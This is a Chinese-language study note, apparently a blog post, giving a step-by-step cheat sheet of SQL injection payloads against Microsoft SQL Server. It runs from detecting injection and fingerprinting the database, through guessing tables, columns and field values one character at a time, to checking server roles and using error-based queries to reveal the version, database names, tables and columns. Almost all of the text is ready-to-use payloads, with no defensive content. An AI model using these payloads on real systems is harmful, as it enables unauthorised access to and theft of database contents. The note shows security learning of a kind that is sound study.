MSSQL注入(SQL server)
由于這學期正在學資料庫,是以了解SQL語句還是可疑的

。看完視訊後自己動手實踐順便整理了學習筆記,有些來自視訊有些來自其他大佬的部落格。
一:判斷是否有注入
and 1=1
and 1=2
判斷注入的方法是一樣的
二:初步判斷是否是MSSQL
and user>0
三:判斷資料庫系統
and (select count(*) from sysobjects) >0 MSSQL
and (select count(*) from msysobjects) >0 ACCESS
四:注入參數是字元
‘and [查詢條件] and‘’=’
五:搜尋時沒過濾參數的
‘and [查詢條件] and‘%25=’
六:猜表名
and (select Count(*) from [表名])>0
七:猜字段
and (select Count(字段名) from表名)>0
八:猜字段中記錄長度
and (select top 1 len(字段名) from表名)>0
九:猜字段的ascii值
1、ACCESS
and (select top 1 asc(mid(字段名,1,1)) from表名)>0
2、MSSQL
and (select top 1 unicode(substring(字段名,1,1)) from表名)>0
十:測試權限結構
and 1=(select is_srvrolemember('sysadmin'))--
and 1=(select is_srvrolemember('serveradmin'))--
and 1=(select is_srvrolemember('setupadmin'))--
and 1=(select is_srvrolemember('securityadmin'))--
and 1=(select is_srvrolemember('diskadmin'))--
and 1=(select is_srvrolemember('bulkadmin'))--
and 1=(select is_member('db_owner'))--
十一:番外
1、爆版本 and @@version>0
2、爆資料庫名 and db_name()>0
3、爆目前使用者名 and User_Name()>0
4、爆其他資料庫 and (SELECT top 1 Name FROM Master..SysDatabases)>0
再爆其他資料庫 and (SELECT top 1 Name FROM Master..SysDatabases where name not in ('資料庫1'))>0
再繼續 and (SELECT top 1 Name FROM Master..SysDatabases where name not in ('資料庫1','資料庫2'))>0
5、爆表 and (select top 1 name from [資料庫名字].sys.all_objects where type='U' AND is_ms_shipped=0)>0
再爆表 and (select top 1 name from[資料庫名字].sys.all_objects where type='U' AND is_ms_shipped=0 and name not in ('第一個表名'))>0
再繼續,同理...
6、爆字段 and (select top 1 COLUMN_NAME from[資料庫名字].information_schema.columns where TABLE_NAME='表名')>0
再爆其他字段 and (select top 1 COLUMN_NAME from[資料庫名字].information_schema.columns where TABLE_NAME='表名' and COLUMN_NAME not in ('第一個字段名'))>0
再繼續,同理...